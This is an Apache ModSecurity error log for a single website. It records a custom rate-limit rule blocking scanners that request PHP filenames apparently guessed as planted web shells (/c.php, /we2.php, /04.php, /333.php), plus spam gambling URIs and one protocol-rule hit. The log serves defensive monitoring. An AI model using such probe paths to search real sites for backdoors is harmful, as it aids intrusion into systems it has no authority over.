[Wed Apr 01 02:51:22.170401 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:22540] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXqke53suVMS91e0RIkgAAAMI"]
[Wed Apr 01 02:51:22.610162 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:22694] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXqvXQdXnDyA4XYbYGWQAAARY"]
[Wed Apr 01 02:51:22.649289 2026] [:error] [pid 19113:tid 19121] [client 68.221.68.130:22547] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXqvXQdXnDyA4XYbYGWgAAAQY"]
[Wed Apr 01 02:51:23.091893 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22609] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXq_XQdXnDyA4XYbYGXwAAAQg"]
[Wed Apr 01 02:51:23.134394 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22673] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXq_XQdXnDyA4XYbYGYAAAAQU"]
[Wed Apr 01 02:51:23.577642 2026] [:error] [pid 19113:tid 19132] [client 68.221.68.130:22713] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXq_XQdXnDyA4XYbYGYwAAARE"]
[Wed Apr 01 02:51:23.623108 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:22651] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXq_XQdXnDyA4XYbYGZAAAAQ8"]
[Wed Apr 01 02:51:24.056059 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:22616] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXrPXQdXnDyA4XYbYGZwAAAQ0"]
[Wed Apr 01 02:51:24.105498 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22610] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXrPXQdXnDyA4XYbYGaAAAAQU"]
[Wed Apr 01 02:51:24.541889 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22736] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXrPXQdXnDyA4XYbYGbgAAARQ"]
[Wed Apr 01 02:51:24.584580 2026] [:error] [pid 19113:tid 19125] [client 68.221.68.130:22650] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXrPXQdXnDyA4XYbYGbwAAAQo"]
[Wed Apr 01 02:51:25.020845 2026] [:error] [pid 19113:tid 19117] [client 68.221.68.130:22618] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXrfXQdXnDyA4XYbYGcAAAAQI"]
[Wed Apr 01 02:51:25.063450 2026] [:error] [pid 19113:tid 19122] [client 68.221.68.130:22544] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acwXrfXQdXnDyA4XYbYGcgAAAQc"]
[Wed Apr 01 02:51:25.506718 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22625] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXrfXQdXnDyA4XYbYGeAAAARQ"]
[Wed Apr 01 02:51:25.552501 2026] [:error] [pid 19113:tid 19125] [client 68.221.68.130:22695] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXrfXQdXnDyA4XYbYGegAAAQo"]
[Wed Apr 01 02:51:25.997250 2026] [:error] [pid 19113:tid 19126] [client 68.221.68.130:22601] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXrfXQdXnDyA4XYbYGfQAAAQs"]
[Wed Apr 01 02:51:26.032253 2026] [:error] [pid 19113:tid 19133] [client 68.221.68.130:22602] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXrvXQdXnDyA4XYbYGfgAAARI"]
[Wed Apr 01 02:51:26.480726 2026] [:error] [pid 52594:tid 52712] [client 68.221.68.130:22660] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXrke53suVMS91e0RIlAAAAMs"]
[Wed Apr 01 02:51:26.513644 2026] [:error] [pid 52594:tid 52711] [client 68.221.68.130:22637] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXrke53suVMS91e0RIlQAAAMo"]
[Wed Apr 01 02:51:26.960225 2026] [:error] [pid 19113:tid 19122] [client 68.221.68.130:22613] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXrvXQdXnDyA4XYbYGgwAAAQc"]
[Wed Apr 01 02:51:27.024855 2026] [:error] [pid 52593:tid 52688] [client 68.221.68.130:22621] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "acwXr-KOtxqtcDhRtD-i3AAAAI4"]
[Wed Apr 01 02:51:27.441957 2026] [:error] [pid 52836:tid 52907] [client 68.221.68.130:22533] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXr5jk_YTY8bXnEz5w4QAAAE8"]
[Wed Apr 01 02:51:27.538689 2026] [:error] [pid 52836:tid 52901] [client 68.221.68.130:23093] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXr5jk_YTY8bXnEz5w4gAAAEk"]
[Wed Apr 01 02:51:27.933315 2026] [:error] [pid 52592:tid 52658] [client 68.221.68.130:22528] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXrz-61iqkPKUhqlb-RgAAAAs"]
[Wed Apr 01 02:51:28.020519 2026] [:error] [pid 52592:tid 52647] [client 68.221.68.130:22640] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXsD-61iqkPKUhqlb-RwAAAAA"]
[Wed Apr 01 02:51:28.417140 2026] [:error] [pid 52592:tid 52671] [client 68.221.68.130:22465] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXsD-61iqkPKUhqlb-SwAAABg"]
[Wed Apr 01 02:51:28.502399 2026] [:error] [pid 52593:tid 52674] [client 68.221.68.130:22537] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXsOKOtxqtcDhRtD-i3gAAAIA"]
[Wed Apr 01 02:51:28.903590 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:22543] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXsOKOtxqtcDhRtD-i4AAAAIk"]
[Wed Apr 01 02:51:28.983455 2026] [:error] [pid 52593:tid 52693] [client 68.221.68.130:22559] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "acwXsOKOtxqtcDhRtD-i4QAAAJM"]
[Wed Apr 01 05:29:26.642691 2026] [:error] [pid 23819:tid 23844] [client 170.106.180.153:33224] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acw8ttdfUS_37wFAM77XZAAAANY"]
[Wed Apr 01 06:42:24.258968 2026] [:error] [pid 23715:tid 23779] [client 95.91.110.210:6142] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acxN0K-REzOruNbiT9xMYgAAAFI"]
[Wed Apr 01 06:42:26.908895 2026] [:error] [pid 24346:tid 24358] [client 95.91.110.210:17638] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acxN0rc1l8kg9MhGHIKKoAAAAUY"]
[Wed Apr 01 06:42:29.573394 2026] [:error] [pid 23715:tid 23784] [client 95.91.110.210:17652] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acxN1a-REzOruNbiT9xMbgAAAFc"]
[Wed Apr 01 06:42:32.216734 2026] [:error] [pid 24346:tid 24362] [client 95.91.110.210:17662] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acxN2Lc1l8kg9MhGHIKKpgAAAUo"]
[Wed Apr 01 06:42:34.888664 2026] [:error] [pid 24348:tid 24385] [client 95.91.110.210:12592] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acxN2m0Vs69Y5nF1HA_ZlQAAAYY"]
[Wed Apr 01 06:42:37.602498 2026] [:error] [pid 23715:tid 23784] [client 95.91.110.210:12596] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acxN3a-REzOruNbiT9xMdgAAAFc"]
[Wed Apr 01 06:42:40.329362 2026] [:error] [pid 23714:tid 23745] [client 95.91.110.210:12598] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acxN4EHxDDU2ETcG9DTSZgAAAAs"]
[Wed Apr 01 06:42:43.145247 2026] [:error] [pid 24346:tid 24353] [client 95.91.110.210:62650] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acxN47c1l8kg9MhGHIKKuAAAAUE"]
[Wed Apr 01 06:42:45.783323 2026] [:error] [pid 24348:tid 24385] [client 95.91.110.210:62656] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acxN5W0Vs69Y5nF1HA_ZpAAAAYY"]
[Wed Apr 01 06:42:48.485504 2026] [:error] [pid 24348:tid 24383] [client 95.91.110.210:62668] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acxN6G0Vs69Y5nF1HA_ZrgAAAYQ"]
[Wed Apr 01 06:42:50.976806 2026] [:error] [pid 23714:tid 23744] [client 95.91.110.210:62682] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acxN6kHxDDU2ETcG9DTSagAAAAo"]
[Wed Apr 01 06:42:53.668761 2026] [:error] [pid 23714:tid 23751] [client 95.91.110.210:5512] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acxN7UHxDDU2ETcG9DTSdQAAABE"]
[Wed Apr 01 06:42:56.272825 2026] [:error] [pid 23715:tid 23775] [client 95.91.110.210:5526] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acxN8K-REzOruNbiT9xMnAAAAE4"]
[Wed Apr 01 06:42:58.815694 2026] [:error] [pid 23715:tid 23776] [client 95.91.110.210:5530] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "acxN8q-REzOruNbiT9xMqwAAAE8"]
[Wed Apr 01 06:43:02.479603 2026] [:error] [pid 23714:tid 23737] [client 95.91.110.210:5532] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acxN9kHxDDU2ETcG9DTSgQAAAAM"]
[Wed Apr 01 06:43:05.122696 2026] [:error] [pid 23714:tid 23750] [client 95.91.110.210:52450] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acxN-UHxDDU2ETcG9DTShQAAABA"]
[Wed Apr 01 06:43:08.066630 2026] [:error] [pid 23715:tid 23774] [client 95.91.110.210:52466] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acxN_K-REzOruNbiT9xM1QAAAE0"]
[Wed Apr 01 06:43:10.957543 2026] [:error] [pid 23714:tid 23753] [client 95.91.110.210:52474] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acxN_kHxDDU2ETcG9DTSmAAAABM"]
[Wed Apr 01 06:43:17.504284 2026] [:error] [pid 24348:tid 24390] [client 95.91.110.210:65112] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acxOBW0Vs69Y5nF1HA_Z2AAAAYs"]
[Wed Apr 01 08:14:50.669833 2026] [:error] [pid 23714:tid 23753] [client 145.239.66.34:50262] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acxjekHxDDU2ETcG9DQL9wAAABM"]
[Wed Apr 01 08:14:53.043465 2026] [:error] [pid 23819:tid 23829] [client 145.239.66.34:43702] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acxjfddfUS_37wFAM773SgAAAMc"]
[Wed Apr 01 08:14:55.448280 2026] [:error] [pid 23715:tid 23761] [client 145.239.66.34:43712] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acxjf6-REzOruNbiT9x6GQAAAEA"]
[Wed Apr 01 08:14:57.857781 2026] [:error] [pid 24346:tid 24371] [client 145.239.66.34:43718] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acxjgbc1l8kg9MhGHIKjZQAAAVM"]
[Wed Apr 01 08:15:00.261974 2026] [:error] [pid 23716:tid 23805] [client 145.239.66.34:45250] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "acxjhHVtFUg_mx-RYb52hwAAAJE"]
[Wed Apr 01 08:15:02.659394 2026] [:error] [pid 24314:tid 24322] [client 145.239.66.34:45266] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acxjhpRF3FCzjmMUX5b4sgAAAQQ"]
[Wed Apr 01 08:15:05.230329 2026] [:error] [pid 24314:tid 24327] [client 145.239.66.34:45282] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acxjiZRF3FCzjmMUX5b4wQAAAQk"]
